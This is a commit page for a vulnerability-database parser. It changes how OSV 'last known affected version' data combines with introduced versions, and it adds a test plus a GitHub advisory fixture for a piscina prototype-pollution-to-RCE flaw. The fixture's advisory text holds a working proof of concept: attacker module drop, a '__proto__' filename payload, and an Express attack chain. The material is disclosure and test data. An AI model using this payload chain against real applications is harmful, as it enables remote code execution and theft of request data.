Skip to content

Commit b06a2dc

Browse files
committed
fix: do not ignore introduced version when considering db specific field
Signed-off-by: Keshav Priyadarshi <git@keshav.space>
1 parent adc81cb commit b06a2dc

4 files changed

Lines changed: 220 additions & 12 deletions

File tree

vulnerabilities/pipes/osv_v2.py

Lines changed: 26 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -100,6 +100,12 @@ def parse_advisory_data_v3(
100100
affected_constraints = []
101101
fixed_constraints = []
102102
for r in affected_pkg.get("ranges") or []:
103+
db_specific_explicit_last_known = get_last_known_affected_version(
104+
affected_pkg=affected_pkg,
105+
raw_id=advisory_id,
106+
supported_ecosystem=purl.type,
107+
)
108+
103109
(
104110
affected_constraint,
105111
fixed_constraint,
@@ -109,6 +115,7 @@ def parse_advisory_data_v3(
109115
ranges=r,
110116
raw_id=advisory_id,
111117
supported_ecosystem=purl.type,
118+
db_specific_explicit_last_known=db_specific_explicit_last_known,
112119
)
113120
if affected_constraint:
114121
affected_constraints.extend(affected_constraint)
@@ -143,11 +150,17 @@ def parse_advisory_data_v3(
143150

144151
version_range_class = RANGE_CLASS_BY_SCHEMES.get(purl.type)
145152
affected_version_range = None
153+
# explicit_introduced_constraint = None
146154
if affected_constraints:
147155
try:
148156
valid_affected_constraints = VersionConstraint.simplify(affected_constraints)
149157
validate_comparators(valid_affected_constraints)
150158
affected_version_range = version_range_class(constraints=valid_affected_constraints)
159+
# if (valid_affected_constraints) == 1 and valid_affected_constraints[
160+
# 0
161+
# ].comparator == ">=":
162+
# explicit_introduced_constraint = valid_fixed_constraints[0]
163+
151164
except Exception as e:
152165
logger.error(f"Failed to build VersionRange for {advisory_id}: {e}")
153166

@@ -166,15 +179,7 @@ def parse_advisory_data_v3(
166179
supported_ecosystem=purl.type,
167180
)
168181

169-
explicit_last_known = get_last_known_affected_range(
170-
affected_pkg=affected_pkg,
171-
raw_id=advisory_id,
172-
supported_ecosystem=purl.type,
173-
)
174-
175-
final_affected_range = (
176-
explicit_affected_range or explicit_last_known or affected_version_range
177-
)
182+
final_affected_range = explicit_affected_range or affected_version_range
178183

179184
if (
180185
fixed_version_range
@@ -396,7 +401,7 @@ def get_explicit_affected_range(affected_pkg, raw_id, supported_ecosystem):
396401
return version_range_class(constraints=constraints)
397402

398403

399-
def get_last_known_affected_range(affected_pkg, raw_id, supported_ecosystem):
404+
def get_last_known_affected_version(affected_pkg, raw_id, supported_ecosystem):
400405
"""
401406
Return the last_known_affected_version_range from the database_specific
402407
"""
@@ -410,7 +415,7 @@ def get_last_known_affected_range(affected_pkg, raw_id, supported_ecosystem):
410415
affected_version_range = build_range_from_github_advisory_constraint(
411416
supported_ecosystem, last_known_value
412417
)
413-
return affected_version_range
418+
return affected_version_range.constraints[0].version
414419

415420
except Exception as e:
416421
logger.error(
@@ -420,7 +425,9 @@ def get_last_known_affected_range(affected_pkg, raw_id, supported_ecosystem):
420425
return
421426

422427

423-
def get_version_ranges_constraints(ranges, raw_id, supported_ecosystem):
428+
def get_version_ranges_constraints(
429+
ranges, raw_id, supported_ecosystem, db_specific_explicit_last_known=None
430+
):
424431
"""
425432
Return a tuple containing lists of affected constraints, fixed constraints,
426433
introduced commits, and fixed commits
@@ -485,7 +492,14 @@ def get_version_ranges_constraints(ranges, raw_id, supported_ecosystem):
485492
affected_constraints.append(constraint)
486493

487494
elif event_type == "fixed":
495+
# If database specific last known version is available then it's assumed that such last known
496+
# version is applicable to all ranges of current affected block.
488497
affected_constraint = VersionConstraint(comparator="<", version=v_obj)
498+
if db_specific_explicit_last_known:
499+
affected_constraint = VersionConstraint(
500+
comparator="<=", version=db_specific_explicit_last_known
501+
)
502+
489503
affected_constraints.append(affected_constraint)
490504

491505
fixed_constraint = VersionConstraint(comparator="=", version=v_obj)

vulnerabilities/tests/pipes/test_osv_v2.py

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -194,6 +194,16 @@ def test_to_advisories_github4(self):
194194
result = imported_data.to_dict()
195195
util_tests.check_results_against_json(result, expected_file)
196196

197+
def test_to_advisories_github5(self):
198+
with open(os.path.join(TEST_DATA, "github/github-5.json")) as f:
199+
mock_response = json.load(f)
200+
expected_file = os.path.join(TEST_DATA, "github/github-expected-5.json")
201+
imported_data = parse_advisory_data_v3(
202+
mock_response, "npm", advisory_url="https://test.com", advisory_text=""
203+
)
204+
result = imported_data.to_dict()
205+
util_tests.check_results_against_json(result, expected_file)
206+
197207
def test_to_advisories_oss_fuzz1(self):
198208
with open(os.path.join(TEST_DATA, "oss-fuzz/oss-fuzz-1.yaml")) as f:
199209
mock_response = saneyaml.load(f)
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-x9g3-xrwr-cwfg",
4+
"modified": "2026-06-18T13:05:11Z",
5+
"published": "2026-06-18T13:05:11Z",
6+
"aliases": [
7+
"CVE-2026-55388"
8+
],
9+
"summary": "piscina: Prototype Pollution Gadget → RCE via inherited options.filename",
10+
"details": "## Summary\n\n`piscina`'s constructor and `run()` paths read the `filename` option via plain member access:\n\n```js\n// dist/index.js line 92 (constructor)\nconst filename = options.filename\n ? (0, common_1.maybeFileURLToPath)(options.filename)\n : null;\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n\n// dist/index.js line 616 (run())\nrun(task, options = kDefaultRunOptions) {\n if (options === null || typeof options !== 'object') {\n return Promise.reject(new TypeError('options must be an object'));\n }\n const { transferList, filename, name, signal } = options;\n```\n\nBoth reads fall through the prototype chain when the caller's options object doesn't have `filename` as an own property. When `Object.prototype.filename` is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to `worker_threads.Worker` import and the attacker's `.mjs` runs in the worker.\n\n**Subtlety**: calling `pool.run(task)` with no second arg uses `kDefaultRunOptions` which has `filename: null` as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly `{signal: ac.signal}` for abort support, `{name: ...}` for task labelling, etc.). These caller-built options objects inherit from `Object.prototype` unless the caller explicitly uses `Object.create(null)`.\n\n## Impact\n\nTwo preconditions:\n\n1. **Upstream PP-source** somewhere in the process — common in transitive deps\n2. **Attacker-controllable `.mjs`** at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain\n\nOnce both fire:\n- Every `pool.run(task, opts)` call across the entire process is hijacked\n- Attacker's exported function is called with the legitimate caller's task data — **attacker reads per-request app data**\n- Attacker controls the return value — caller receives `worker_response.by = \"ATTACKER-WORKER\"` and any other attacker-supplied response fields — **attacker can poison return values to legitimate clients**\n- Hijack persists until process restart\n\nStrictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).\n\n## Affected versions\n\nEmpirically verified vulnerable on `piscina@5.1.4` (latest stable at time of disclosure). The bug shape is in the constructor's `options.filename` read at line 92 of `dist/index.js`, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.\n\n## Proof of concept\n\n### A) Minimal in-process PoC\n\n```js\nimport fs from 'fs';\n\n// 1) Drop the attacker module (any path the victim process can read)\nfs.writeFileSync('/tmp/atk.mjs', `\n import fs from 'fs';\n fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({\n rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],\n }));\n export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }\n`);\n\n// 2) Upstream PP-source — pollute Object.prototype.filename\n// (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,\n// and ~30 historical PP-source CVEs)\nconst payload = JSON.parse('{\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}');\nfunction vulnMerge(t, s) {\n for (const k of Object.keys(s)) {\n if (s[k] !== null && typeof s[k] === 'object') {\n if (!t[k]) t[k] = {};\n vulnMerge(t[k], s[k]);\n } else t[k] = s[k];\n }\n}\nvulnMerge({}, payload);\n\n// 3) Piscina with empty options inherits the polluted filename\nconst { Piscina } = await import('piscina');\nconst p = new Piscina({}); // inherits filename\nconst result = await p.run({}); // worker imports /tmp/atk.mjs\nawait p.destroy();\n\n// 4) sentinel exists; attacker fn was called with task data\nconsole.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));\nconsole.log('attacker fn returned:', result);\n// → \"attacker-return-{}\"\n```\n\n### B) Full-stack HTTP chain (this is the realistic shape)\n\nA correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call `pool.run(req.body, {signal: ac.signal})` — the standard abort-aware shape.\n\n```js\n// === server.mjs ===\nimport express from 'express';\nimport { Piscina } from 'piscina';\n\n// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)\nfunction vulnMerge(t, s) {\n for (const k of Object.keys(s)) {\n if (s[k] !== null && typeof s[k] === 'object') {\n if (!t[k]) t[k] = {};\n vulnMerge(t[k], s[k]);\n } else t[k] = s[k];\n }\n}\n\n// CORRECT pool init at boot\nconst pool = new Piscina({\n filename: './valid-worker.mjs',\n minThreads: 1, maxThreads: 2,\n});\n\nconst config = {};\nconst app = express();\n\napp.post('/api/settings', express.json(), (req, res) => {\n vulnMerge(config, req.body); // PP source\n res.json({ ok: true });\n});\n\napp.post('/api/process', express.json(), async (req, res) => {\n const ac = new AbortController();\n const result = await pool.run(req.body, { signal: ac.signal }); // <-- hijacked\n res.json({ ok: true, worker_response: result });\n});\n\napp.listen(7755);\n\n// === Attacker, 3 HTTP requests ===\n// POST /upload → drops /tmp/atk.mjs\n// POST /api/settings with body: {\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\n// POST /api/process → pool.run() destructures filename via prototype\n// → worker imports /tmp/atk.mjs\n// → attacker fn called with req.body of THIS request\n// → caller receives attacker-shaped response\n```\n\nEmpirical observation on `piscina@5.1.4` + Node 23.11.0:\n- Pre-attack `/api/process` returns `{by: 'valid-worker'}`\n- Cold-path `/probe` after PP source confirms `({}).filename` is polluted process-wide\n- Post-attack `/api/process` returns `{by: 'ATTACKER-WORKER', processed: <caller's exfil data>}`\n- Sentinel file written from inside `piscina/dist/worker.js` with the worker process's uid + env access\n\n## Recommended fix\n\nMinimal — own-property guard at both option-read sites:\n\n```js\n// constructor (line 92)\nconst userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')\n ? options.filename\n : null;\nconst filename = userFilename\n ? (0, common_1.maybeFileURLToPath)(userFilename)\n : null;\n\n// run() (line 616)\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, options); // copies own props only? — keeps shape\nconst { transferList, filename, name, signal } = safeOpts;\n```\n\nMore idiomatic — use a null-prototype working object throughout `this.options`:\n\n```js\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, kDefaultOptions, options);\nthis.options = safeOpts;\nthis.options.filename = safeOpts.filename\n ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)\n : null;\nthis.options.maxQueue = 0;\n```\n\nEither approach closes the gadget without breaking any legitimate caller pattern.\n\nThe pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar `options.X` member-access for worker / child-process / module-load operations is worth a quick audit.\n\n## Coordination\n\n- Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.\n- Will not share publicly until GHSA published or 90 days.\n- Please credit `ridingsa` if you choose to credit a reporter.\n\n## How this was discovered\n\nGeneralized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via `import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "piscina"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "5.0.0-alpha.0"
29+
},
30+
{
31+
"fixed": "5.2.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 5.1.4"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "npm",
43+
"name": "piscina"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "0"
51+
},
52+
{
53+
"fixed": "4.9.3"
54+
}
55+
]
56+
}
57+
],
58+
"database_specific": {
59+
"last_known_affected_version_range": "<= 4.9.2"
60+
}
61+
},
62+
{
63+
"package": {
64+
"ecosystem": "npm",
65+
"name": "piscina"
66+
},
67+
"ranges": [
68+
{
69+
"type": "ECOSYSTEM",
70+
"events": [
71+
{
72+
"introduced": "6.0.0-rc.1"
73+
},
74+
{
75+
"fixed": "6.0.0-rc.2"
76+
}
77+
]
78+
}
79+
]
80+
}
81+
],
82+
"references": [
83+
{
84+
"type": "WEB",
85+
"url": "https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg"
86+
},
87+
{
88+
"type": "PACKAGE",
89+
"url": "https://github.com/piscinajs/piscina"
90+
}
91+
],
92+
"database_specific": {
93+
"cwe_ids": [
94+
"CWE-1321",
95+
"CWE-94"
96+
],
97+
"severity": "HIGH",
98+
"github_reviewed": true,
99+
"github_reviewed_at": "2026-06-18T13:05:11Z",
100+
"nvd_published_at": null
101+
}
102+
}

0 commit comments

Comments
 (0)